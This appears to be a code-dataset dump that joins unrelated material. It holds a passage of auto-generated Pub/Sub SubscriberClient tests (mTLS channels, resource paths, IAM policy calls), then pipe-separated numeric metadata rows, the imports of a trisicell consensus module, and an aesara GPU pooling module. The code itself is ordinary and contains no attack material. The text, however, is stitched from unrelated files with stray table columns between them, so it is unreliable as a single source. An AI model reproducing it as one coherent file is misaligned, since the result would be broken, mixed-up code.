mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
transport = transports.SubscriberGrpcTransport(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=client_cert_source_callback,
)
grpc_ssl_channel_cred.assert_called_once_with(
certificate_chain=b"cert bytes", private_key=b"key bytes"
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/pubsub",
),
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
)
assert transport.grpc_channel == mock_grpc_channel
@mock.patch("grpc.ssl_channel_credentials", autospec=True)
@mock.patch("google.api_core.grpc_helpers_async.create_channel", autospec=True)
def test_subscriber_grpc_asyncio_transport_channel_mtls_with_client_cert_source(
grpc_create_channel, grpc_ssl_channel_cred
):
# Check that if channel is None, but api_mtls_endpoint and client_cert_source
# are provided, then a mTLS channel will be created.
mock_cred = mock.Mock()
mock_ssl_cred = mock.Mock()
grpc_ssl_channel_cred.return_value = mock_ssl_cred
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
transport = transports.SubscriberGrpcAsyncIOTransport(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=client_cert_source_callback,
)
grpc_ssl_channel_cred.assert_called_once_with(
certificate_chain=b"cert bytes", private_key=b"key bytes"
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/pubsub",
),
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
)
assert transport.grpc_channel == mock_grpc_channel
@pytest.mark.parametrize(
"api_mtls_endpoint", ["mtls.squid.clam.whelk", "mtls.squid.clam.whelk:443"]
)
@mock.patch("google.api_core.grpc_helpers.create_channel", autospec=True)
def test_subscriber_grpc_transport_channel_mtls_with_adc(
grpc_create_channel, api_mtls_endpoint
):
# Check that if channel and client_cert_source are None, but api_mtls_endpoint
# is provided, then a mTLS channel will be created with SSL ADC.
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
# Mock google.auth.transport.grpc.SslCredentials class.
mock_ssl_cred = mock.Mock()
with mock.patch.multiple(
"google.auth.transport.grpc.SslCredentials",
__init__=mock.Mock(return_value=None),
ssl_credentials=mock.PropertyMock(return_value=mock_ssl_cred),
):
mock_cred = mock.Mock()
transport = transports.SubscriberGrpcTransport(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint=api_mtls_endpoint,
client_cert_source=None,
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/pubsub",
),
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
)
assert transport.grpc_channel == mock_grpc_channel
@pytest.mark.parametrize(
"api_mtls_endpoint", ["mtls.squid.clam.whelk", "mtls.squid.clam.whelk:443"]
)
@mock.patch("google.api_core.grpc_helpers_async.create_channel", autospec=True)
def test_subscriber_grpc_asyncio_transport_channel_mtls_with_adc(
grpc_create_channel, api_mtls_endpoint
):
# Check that if channel and client_cert_source are None, but api_mtls_endpoint
# is provided, then a mTLS channel will be created with SSL ADC.
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
# Mock google.auth.transport.grpc.SslCredentials class.
mock_ssl_cred = mock.Mock()
with mock.patch.multiple(
"google.auth.transport.grpc.SslCredentials",
__init__=mock.Mock(return_value=None),
ssl_credentials=mock.PropertyMock(return_value=mock_ssl_cred),
):
mock_cred = mock.Mock()
transport = transports.SubscriberGrpcAsyncIOTransport(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint=api_mtls_endpoint,
client_cert_source=None,
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/pubsub",
),
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
)
assert transport.grpc_channel == mock_grpc_channel
def test_snapshot_path():
project = "squid"
snapshot = "clam"
expected = "projects/{project}/snapshots/{snapshot}".format(
project=project, snapshot=snapshot,
)
actual = SubscriberClient.snapshot_path(project, snapshot)
assert expected == actual
def test_parse_snapshot_path():
expected = {
"project": "whelk",
"snapshot": "octopus",
}
path = SubscriberClient.snapshot_path(**expected)
# Check that the path construction is reversible.
actual = SubscriberClient.parse_snapshot_path(path)
assert expected == actual
def test_subscription_path():
project = "squid"
subscription = "clam"
expected = "projects/{project}/subscriptions/{subscription}".format(
project=project, subscription=subscription,
)
actual = SubscriberClient.subscription_path(project, subscription)
assert expected == actual
def test_parse_subscription_path():
expected = {
"project": "whelk",
"subscription": "octopus",
}
path = SubscriberClient.subscription_path(**expected)
# Check that the path construction is reversible.
actual = SubscriberClient.parse_subscription_path(path)
assert expected == actual
def test_client_withDEFAULT_CLIENT_INFO():
client_info = gapic_v1.client_info.ClientInfo()
with mock.patch.object(
transports.SubscriberTransport, "_prep_wrapped_messages"
) as prep:
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), client_info=client_info,
)
prep.assert_called_once_with(client_info)
with mock.patch.object(
transports.SubscriberTransport, "_prep_wrapped_messages"
) as prep:
transport_class = SubscriberClient.get_transport_class()
transport = transport_class(
credentials=credentials.AnonymousCredentials(), client_info=client_info,
)
prep.assert_called_once_with(client_info)
def test_set_iam_policy(transport: str = "grpc"):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = iam_policy.SetIamPolicyRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.set_iam_policy), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = policy.Policy(version=774, etag=b"etag_blob",)
response = client.set_iam_policy(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, policy.Policy)
assert response.version == 774
assert response.etag == b"etag_blob"
@pytest.mark.asyncio
async def test_set_iam_policy_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = iam_policy.SetIamPolicyRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.set_iam_policy), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
policy.Policy(version=774, etag=b"etag_blob",)
)
response = await client.set_iam_policy(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, policy.Policy)
assert response.version == 774
assert response.etag == b"etag_blob"
def test_set_iam_policy_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = iam_policy.SetIamPolicyRequest()
request.resource = "resource/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.set_iam_policy), "__call__") as call:
call.return_value = policy.Policy()
client.set_iam_policy(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_set_iam_policy_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = iam_policy.SetIamPolicyRequest()
request.resource = "resource/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.set_iam_policy), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(policy.Policy())
await client.set_iam_policy(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"]
def test_set_iam_policy_from_dict():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.set_iam_policy), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = policy.Policy()
response = client.set_iam_policy(
request={
"resource": "resource_value",
"policy": policy.Policy(version=774),
}
)
call.assert_called()
def test_get_iam_policy(transport: str = "grpc"):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = iam_policy.GetIamPolicyRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.get_iam_policy), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = policy.Policy(version=774, etag=b"etag_blob",)
response = client.get_iam_policy(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, policy.Policy)
assert response.version == 774
assert response.etag == b"etag_blob"
@pytest.mark.asyncio
async def test_get_iam_policy_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = iam_policy.GetIamPolicyRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.get_iam_policy), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
policy.Policy(version=774, etag=b"etag_blob",)
)
response = await client.get_iam_policy(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, policy.Policy)
assert response.version == 774
assert response.etag == b"etag_blob"
def test_get_iam_policy_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = iam_policy.GetIamPolicyRequest()
request.resource = "resource/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.get_iam_policy), "__call__") as call:
call.return_value = policy.Policy()
client.get_iam_policy(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_iam_policy_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = iam_policy.GetIamPolicyRequest()
request.resource = "resource/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.get_iam_policy), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(policy.Policy())
await client.get_iam_policy(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"]
def test_get_iam_policy_from_dict():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.get_iam_policy), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = policy.Policy()
response = client.get_iam_policy(
request={
"resource": "resource_value",
"options": options.GetPolicyOptions(requested_policy_version=2598),
}
)
call.assert_called()
def test_test_iam_permissions(transport: str = "grpc"):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = iam_policy.TestIamPermissionsRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.test_iam_permissions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = iam_policy.TestIamPermissionsResponse(
permissions=["permissions_value"],
)
response = client.test_iam_permissions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, iam_policy.TestIamPermissionsResponse)
assert response.permissions == ["permissions_value"]
@pytest.mark.asyncio
async def test_test_iam_permissions_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = iam_policy.TestIamPermissionsRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.test_iam_permissions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
iam_policy.TestIamPermissionsResponse(permissions=["permissions_value"],)
)
response = await client.test_iam_permissions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, iam_policy.TestIamPermissionsResponse)
assert response.permissions == ["permissions_value"]
def test_test_iam_permissions_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = iam_policy.TestIamPermissionsRequest()
request.resource = "resource/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.test_iam_permissions), "__call__"
) as call:
call.return_value = iam_policy.TestIamPermissionsResponse()
client.test_iam_permissions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_test_iam_permissions_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = iam_policy.TestIamPermissionsRequest()
request.resource = "resource/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.test_iam_permissions), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
iam_policy.TestIamPermissionsResponse()
)
await client.test_iam_permissions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"]
def test_test_iam_permissions_from_dict():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.test_iam_permissions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = iam_policy.TestIamPermissionsResponse()
response = client.test_iam_permissions(
request={
"resource": "resource_value",
"permissions": ["permissions_value"],
}
)
call.assert_called()
| 36.377019
| 100
| 0.687504
| 18,841
| 159,877
| 5.637121
| 0.021655
| 0.017475
| 0.028397
| 0.017663
| 0.941549
| 0.929601
| 0.916448
| 0.899754
| 0.892533
| 0.882486
| 0
| 0.005199
| 0.228857
| 159,877
| 4,394
| 101
| 36.385298
| 0.856271
| 0.238508
| 0
| 0.73241
| 0
| 0
| 0.0829
| 0.027848
| 0
| 0
| 0
| 0
| 0.161302
| 1
| 0.043039
| false
| 0
| 0.010105
| 0.000749
| 0.053892
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
be9cc909d317bc275975b93353f5a4f9ff3a83db
| 120
|
py
|
Python
|
trisicell/tl/consensus/__init__.py
|
faridrashidi/trisicell
|
4db89edd44c03ccb6c7d3477beff0079c3ff8035
|
[
"BSD-3-Clause"
] | 2
|
2021-07-02T13:53:15.000Z
|
2021-11-16T03:14:36.000Z
|
trisicell/tl/consensus/__init__.py
|
faridrashidi/trisicell
|
4db89edd44c03ccb6c7d3477beff0079c3ff8035
|
[
"BSD-3-Clause"
] | 58
|
2021-06-14T17:14:39.000Z
|
2022-03-11T19:32:54.000Z
|
trisicell/tl/consensus/__init__.py
|
faridrashidi/trisicell
|
4db89edd44c03ccb6c7d3477beff0079c3ff8035
|
[
"BSD-3-Clause"
] | null | null | null |
from trisicell.tl.consensus._consensus import consensus
from trisicell.tl.consensus._consensus_day import consensus_day
| 40
| 63
| 0.883333
| 16
| 120
| 6.375
| 0.375
| 0.254902
| 0.294118
| 0.470588
| 0.647059
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.066667
| 120
| 2
| 64
| 60
| 0.910714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
beb8997b2583803de19402dfce279749e241c309
| 15,776
|
py
|
Python
|
aesara/gpuarray/pool.py
|
fshart/aesara
|
1ddf96a7b8e8503fb8773b09c3ca77483fd884c4
|
[
"BSD-3-Clause"
] | 111
|
2021-01-29T06:12:58.000Z
|
2021-06-04T20:27:51.000Z
|
aesara/gpuarray/pool.py
|
fshart/aesara
|
1ddf96a7b8e8503fb8773b09c3ca77483fd884c4
|
[
"BSD-3-Clause"
] | 253
|
2020-02-07T15:19:38.000Z
|
2021-01-27T20:26:55.000Z
|
aesara/gpuarray/pool.py
|
fshart/aesara
|
1ddf96a7b8e8503fb8773b09c3ca77483fd884c4
|
[
"BSD-3-Clause"
] | 38
|
2020-07-20T12:09:06.000Z
|
2021-01-27T13:38:50.000Z
|
import aesara
from aesara.gpuarray.basic_ops import (
CGpuKernelBase,
as_gpuarray_variable,
gpu_contiguous,
gpuarray_helper_inc_dir,
infer_context_name,
)
from aesara.gpuarray.type import gpu_context_type
from aesara.graph.basic import Apply
from aesara.graph.params_type import ParamsType
from aesara.scalar import bool as bool_t
from aesara.tensor.basic import as_tensor_variable
from aesara.tensor.signal.pool import Pool, PoolingMode_t
from aesara.tensor.type import int_dtypes
try:
import pygpu
except ImportError:
# To make sure aesara is importable
pass
class GpuPool(CGpuKernelBase):
"""
Implement the max and average pooling on the gpu.
"""
__props__ = ("ignore_border", "mode", "ndim")
params_type = ParamsType(
ignore_border=bool_t, mode=PoolingMode_t, context=gpu_context_type
)
def __init__(self, ignore_border, mode="max", ndim=2):
self.ndim = ndim
self.ignore_border = ignore_border
if mode == "average":
mode = "average_inc_pad"
self.mode = mode
CGpuKernelBase.__init__(self, ["c_code/pool.c"], "APPLY_SPECIFIC(pool)")
assert PoolingMode_t.has_alias(self.mode)
assert self.ndim in [2, 3]
def get_params(self, node):
return self.params_type.get_params(self, context=node.inputs[0].type.context)
def c_headers(self, **kwargs):
return ["gpuarray_api.h", "gpuarray_helper.h", "numpy_compat.h"]
def c_header_dirs(self, **kwargs):
return [gpuarray_helper_inc_dir(), pygpu.get_include()]
def make_node(self, inp, ws, stride=None, pad=None):
ctx_name = infer_context_name(inp)
inp = as_gpuarray_variable(inp, ctx_name)
nd = self.ndim
assert inp.ndim == nd + 2
if stride is None:
stride = ws
if pad is None:
pad = (0,) * nd
elif isinstance(pad, (tuple, list)):
if max(pad) != 0 and not self.ignore_border:
raise ValueError("Padding works only with ignore_border=True")
if isinstance(ws, (tuple, list)):
if any(pad[i] >= ws[i] for i in range(nd)):
raise ValueError("Padding must be smaller than strides")
ws = as_tensor_variable(ws)
stride = as_tensor_variable(stride)
pad = as_tensor_variable(pad)
assert ws.ndim == stride.ndim and ws.ndim == pad.ndim
assert ws.ndim == 1
if ws.dtype not in int_dtypes:
raise TypeError("Window shape parameters must be ints.")
if stride.dtype not in int_dtypes:
raise TypeError("Stride parameters must be ints.")
if pad.dtype not in int_dtypes:
raise TypeError("Padding parameters must be ints.")
ws = aesara.tensor.cast(ws, "int64")
stride = aesara.tensor.cast(stride, "int64")
pad = aesara.tensor.cast(pad, "int64")
return Apply(self, [inp, ws, stride, pad], [inp.type()])
def infer_shape(self, fgraph, node, in_shapes):
ws, stride, pad = [node.inputs[1], node.inputs[2], node.inputs[3]]
shp = Pool.out_shape(
in_shapes[0], ws, self.ignore_border, stride, pad, self.ndim
)
return [shp]
def grad(self, inp, grads):
img, ws, stride, pad = inp
(grad,) = grads
grad = gpu_contiguous(grad)
disc = [aesara.gradient.DisconnectedType()() for i in inp[1:]]
if self.mode == "max":
out = self(img, ws, stride, pad)
g_out = GpuMaxPoolGrad(ndim=self.ndim, ignore_border=self.ignore_border)(
img, out, grad, ws, stride, pad
)
return [g_out] + disc
else:
g_out = GpuAveragePoolGrad(
ndim=self.ndim, ignore_border=self.ignore_border, mode=self.mode
)(img, grad, ws, stride, pad)
return [g_out] + disc
def connection_pattern(self, node):
return [[1], [0], [0], [0]]
def R_op(self, inputs, eval_points):
if self.mode != "max":
# Rop for average or sum is simply pooling evaluated at eval point
eval_inputs = [eval_points[0]] + inputs[1:]
return [self(*eval_inputs)]
# R_op can receive None as eval_points.
# That mean there is no diferientiable path through that input
# If this imply that you cannot compute some outputs,
# return None for those.
if eval_points[0] is None:
return [None]
z = self(*inputs)
x, ws, stride, pad = inputs
return [
GpuDownsampleFactorMaxGradGrad(self.ignore_border, self.mode, self.ndim)(
x, z, eval_points[0], ws, stride, pad
)
]
class GpuMaxPoolGrad(CGpuKernelBase):
"""
Implement the grad of max pooling on the gpu.
"""
__props__ = ("ignore_border", "mode", "ndim")
def __init__(self, ignore_border, mode="max", ndim=2):
self.ndim = ndim
self.ignore_border = ignore_border
self.mode = mode
CGpuKernelBase.__init__(
self, ["c_code/pool_max_grad.c"], "APPLY_SPECIFIC(max_pool_grad)"
)
assert mode == "max"
assert ndim in [2, 3]
def c_headers(self, **kwargs):
return ["gpuarray_api.h", "gpuarray_helper.h", "numpy_compat.h"]
def c_header_dirs(self, **kwargs):
return [gpuarray_helper_inc_dir(), pygpu.get_include()]
def make_node(self, inp, out, out_grad, ws, stride=None, pad=None):
ctx_name = infer_context_name(inp, out, out_grad)
nd = self.ndim
inp = as_gpuarray_variable(inp, ctx_name)
assert inp.ndim == nd + 2
out = as_gpuarray_variable(out, ctx_name)
assert out.ndim == nd + 2
out_grad = as_gpuarray_variable(out_grad, ctx_name)
assert out_grad.ndim == nd + 2
assert out_grad.ndim == inp.ndim
assert inp.ndim == out.ndim
if stride is None:
stride = ws
if pad is None:
pad = (0,) * nd
ws = as_tensor_variable(ws)
stride = as_tensor_variable(stride)
pad = as_tensor_variable(pad)
assert ws.ndim == stride.ndim and ws.ndim == pad.ndim
assert ws.ndim == 1
if ws.dtype not in int_dtypes:
raise TypeError("Window shape parameters must be ints.")
if stride.dtype not in int_dtypes:
raise TypeError("Stride parameters must be ints.")
if pad.dtype not in int_dtypes:
raise TypeError("Padding parameters must be ints.")
ws = aesara.tensor.cast(ws, "int64")
stride = aesara.tensor.cast(stride, "int64")
pad = aesara.tensor.cast(pad, "int64")
return Apply(self, [inp, out, out_grad, ws, stride, pad], [inp.type()])
def infer_shape(self, fgraph, node, in_shapes):
return [in_shapes[0]]
def grad(self, inp, grads):
x, maxout, gz, ws, stride, pad = inp
(ggx,) = grads
return [
aesara.tensor.zeros_like(x),
aesara.tensor.zeros_like(maxout),
GpuDownsampleFactorMaxGradGrad(
ndim=self.ndim, ignore_border=self.ignore_border
)(x, maxout, ggx, ws, stride, pad),
] + [aesara.gradient.DisconnectedType()() for i in inp[3:]]
def connection_pattern(self, node):
return [[1], [1], [1], [0], [0], [0]]
class GpuAveragePoolGrad(CGpuKernelBase):
"""
Implement the grad of average pooling on the gpu.
"""
__props__ = ("ignore_border", "mode", "ndim")
params_type = ParamsType(mode=PoolingMode_t, context=gpu_context_type)
def __init__(self, ignore_border, mode="max", ndim=2):
self.ndim = ndim
self.ignore_border = ignore_border
if mode == "average":
mode = "average_inc_pad"
self.mode = mode
CGpuKernelBase.__init__(
self, ["c_code/pool_ave_grad.c"], "APPLY_SPECIFIC(ave_pool_grad)"
)
assert mode in ("sum", "average_inc_pad", "average_exc_pad")
assert ndim in [2, 3]
def get_params(self, node):
return self.params_type.get_params(self, context=node.inputs[0].type.context)
def c_headers(self, **kwargs):
return ["gpuarray_api.h", "gpuarray_helper.h", "numpy_compat.h"]
def c_header_dirs(self, **kwargs):
return [gpuarray_helper_inc_dir(), pygpu.get_include()]
def make_node(self, inp, out_grad, ws, stride=None, pad=None):
ctx_name = infer_context_name(inp, out_grad)
nd = self.ndim
inp = as_gpuarray_variable(inp, ctx_name)
assert inp.ndim == nd + 2
out_grad = as_gpuarray_variable(out_grad, ctx_name)
assert out_grad.ndim == nd + 2
assert out_grad.ndim == inp.ndim
if stride is None:
stride = ws
if pad is None:
pad = (0,) * nd
elif isinstance(pad, (tuple, list)):
if max(pad) != 0 and not self.mode == "average_exc_pad":
raise ValueError("Padding must be zero for average_exc_pad")
ws = as_tensor_variable(ws)
stride = as_tensor_variable(stride)
pad = as_tensor_variable(pad)
assert ws.ndim == stride.ndim and ws.ndim == pad.ndim
assert ws.ndim == 1
if ws.dtype not in int_dtypes:
raise TypeError("Window shape parameters must be ints.")
if stride.dtype not in int_dtypes:
raise TypeError("Stride parameters must be ints.")
if pad.dtype not in int_dtypes:
raise TypeError("Padding parameters must be ints.")
ws = aesara.tensor.cast(ws, "int64")
stride = aesara.tensor.cast(stride, "int64")
pad = aesara.tensor.cast(pad, "int64")
return Apply(self, [inp, out_grad, ws, stride, pad], [inp.type()])
def infer_shape(self, fgraph, node, in_shapes):
return [in_shapes[0]]
def grad(self, inp, grads):
x, gz, ws, stride, pad = inp
(ggx,) = grads
return [
aesara.tensor.zeros_like(x),
GpuPool(ignore_border=self.ignore_border, ndim=self.ndim, mode=self.mode)(
ggx, ws, stride, pad
),
] + [aesara.gradient.DisconnectedType()() for i in inp[2:]]
def connection_pattern(self, node):
return [[1], [1], [0], [0], [0]]
class GpuDownsampleFactorMaxGradGrad(CGpuKernelBase):
"""
Implement the grad of downsample with max on the gpu.
"""
__props__ = ("ignore_border", "mode", "ndim")
def __init__(self, ignore_border, mode="max", ndim=2):
self.ndim = ndim
self.ignore_border = ignore_border
self.mode = mode
CGpuKernelBase.__init__(
self, ["c_code/pool_grad_grad.c"], "APPLY_SPECIFIC(pool_grad_grad)"
)
assert self.mode == "max"
assert self.ndim in [2, 3]
def c_headers(self, **kwargs):
return ["gpuarray_api.h", "gpuarray_helper.h", "numpy_compat.h"]
def c_header_dirs(self, **kwargs):
return [gpuarray_helper_inc_dir(), pygpu.get_include()]
def make_node(self, inp, out, out_grad, ws, stride=None, pad=None):
ctx_name = infer_context_name(inp, out, out_grad)
nd = self.ndim
inp = as_gpuarray_variable(inp, ctx_name)
assert inp.ndim == nd + 2
out = as_gpuarray_variable(out, ctx_name)
assert out_grad.ndim == nd + 2
out_grad = as_gpuarray_variable(out_grad, ctx_name)
assert out.ndim == nd + 2
assert out_grad.ndim == inp.ndim
assert inp.ndim == out.ndim
if stride is None:
stride = ws
if pad is None:
pad = (0,) * nd
ws = as_tensor_variable(ws)
stride = as_tensor_variable(stride)
pad = as_tensor_variable(pad)
assert ws.ndim == stride.ndim and ws.ndim == pad.ndim
assert ws.ndim == 1
if ws.dtype not in int_dtypes:
raise TypeError("Window shape parameters must be ints.")
if stride.dtype not in int_dtypes:
raise TypeError("Stride parameters must be ints.")
if pad.dtype not in int_dtypes:
raise TypeError("Padding parameters must be ints.")
ws = aesara.tensor.cast(ws, "int64")
stride = aesara.tensor.cast(stride, "int64")
pad = aesara.tensor.cast(pad, "int64")
return Apply(self, [inp, out, out_grad, ws, stride, pad], [inp.type()])
def infer_shape(self, fgraph, node, in_shapes):
return [in_shapes[1]]
def grad(self, inp, grads):
x, maxout, ggx, ws, stride, pad = inp
(gz,) = grads
return [
aesara.tensor.zeros_like(x),
aesara.tensor.zeros_like(maxout),
GpuMaxPoolGrad(ignore_border=self.ignore_border, ndim=self.ndim)(
x, maxout, gz, ws, stride, pad
),
] + [aesara.gradient.DisconnectedType()() for i in inp[3:]]
def connection_pattern(self, node):
return [[1], [1], [1], [0], [0], [0]]
